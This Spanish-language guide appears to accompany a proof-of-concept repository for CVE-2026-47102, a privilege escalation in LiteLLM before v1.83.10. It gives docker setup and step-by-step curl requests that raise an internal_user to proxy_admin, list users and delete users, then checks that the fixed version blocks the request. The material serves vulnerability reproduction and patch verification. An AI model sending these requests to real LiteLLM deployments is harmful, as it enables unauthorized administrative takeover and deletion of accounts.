
El código para reproducir personalmente la vulnerabilidad correspondiente
/user/updateLiteLLM v1.83.7 (antes de v1.83.10) el endpoint
/user/updatepermite a usuarios con bajo privilegio que tengan acceso a este endpoint, modificar el campouser_roleaproxy_adminal actualizar su propia cuenta, logrando una escalada de privilegios no autorizada.
| Field | Value |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (ALTO) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Autorización Incorrecta) |
| Afectado | LiteLLM < 1.83.10 (confirmado en v1.83.7) |
| Corregido | v1.83.10+ (se añadió validación de permisos para modificar el campo user_role) |
| Publicado | 2026-05-21 |
| Descubierto por | Fenix Qiao (13ph03nix) — Obsidian Security |
| Enlaces | NVD |
El endpoint /user/update de LiteLLM se utiliza para actualizar atributos de usuario. En las versiones afectadas, la función
can_user_call_user_update() de /user/update verifica si el usuario tiene permiso para actualizar al usuario especificado (permitiendo que un usuario actualice su propio registro), pero no impone ninguna restricción sobre los campos modificables.
Esto significa que cualquier usuario que pueda acceder al endpoint /user/update (por ejemplo, un usuario al que un administrador le haya otorgado permiso para esa ruta, o un atacante que haya obtenido acceso a dicho endpoint mediante otra vulnerabilidad) puede elevar su propio rol a proxy_admin modificando su campo user_role, obteniendo así acceso completo a todos los endpoints administrativos.
Admin crea una API key para internal_user con permiso de ruta /user/update
→ internal_user obtiene acceso a nivel de ruta
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ Rol elevado a proxy_admin
→ GET /user/list (verificación de acceso administrativo)
| Elemento de comparación | CVE-2026-47101 | CVE-2026-47102 |
|---|---|---|
| Enfoque de la vulnerabilidad | /key/generate no valida allowed_routes | /user/update carece de permisos a nivel de campo |
| Prerrequisito de ataque | internal_user puede llamar directamente a /key/generate | Requiere obtener previamente acceso a la ruta /user/update |
| Versión corregida | v1.83.14 | v1.83.10 |
Ambas vulnerabilidades pueden encadenarse: CVE-2026-47101 para crear una key con ruta comodín (acceder a
/user/update), y CVE-2026-47102 para elevar el propio rol aproxy_admin.
# 1. Iniciar PostgreSQL + LiteLLM vulnerable (v1.83.7-stable)
docker compose up -d litellm
# Esperar a que el servicio esté listo (aprox. 10-30 segundos)
sleep 15
# Ver registros del contenedor
docker logs litellm-47102-privesc 2>&1 | tail -10
La salida esperada debe incluir registros de inicio exitoso como Uvicorn running on http://0.0.0.0:4000.
Usar la clave maestra para crear una cuenta internal_user con pocos privilegios:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Salida esperada:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
El administrador crea una API key para internal_user con acceso a la ruta /user/update.
Esta es la forma típica de obtener acceso al endpoint /user/update en un entorno real:
# Usar la clave maestra para crear una key con la ruta /user/update
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Salida esperada:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Usar la key obtenida en el paso anterior, que tiene permiso de ruta /user/update, para elevar el rol del usuario a proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Salida esperada:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Punto vulnerable: ¡
user_roleha cambiado deinternal_useraproxy_admin! El endpoint/user/updatepermite al usuario modificar su propio campouser_rolesin ninguna restricción de permisos a nivel de campo.
Verificar que la elevación de rol ha surtido efecto a través del endpoint /user/list (usando la API key original de internal_user, que no tiene restricciones de ruta; después de la elevación a proxy_admin, obtiene automáticamente permisos administrativos):
# Usar la key elevada a proxy_admin (la key original de internal_user, sin restricciones de ruta)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Salida esperada:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Aprovechando el permiso proxy_admin obtenido, se puede eliminar cualquier usuario mediante /user/delete
(también usando la API key original de internal_user):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Salida esperada:
1
Los pasos anteriores están integrados en demo.sh, que se puede ejecutar directamente:
# Reproducción completa (incluye comparación entre versión vulnerable y corregida)
bash demo.sh
Iniciar la versión corregida (v1.83.10-stable) para verificar que CVE-2026-47102 ha sido reparado:
docker compose --profile fixed up -d litellm-fixed
Crear un usuario interno:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Crear una key con la ruta /user/update:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Intentar la escalada de privilegios (se espera que sea bloqueada):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Salida esperada (la versión corregida bloquea la solicitud no autorizada):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Comparación con la versión vulnerable: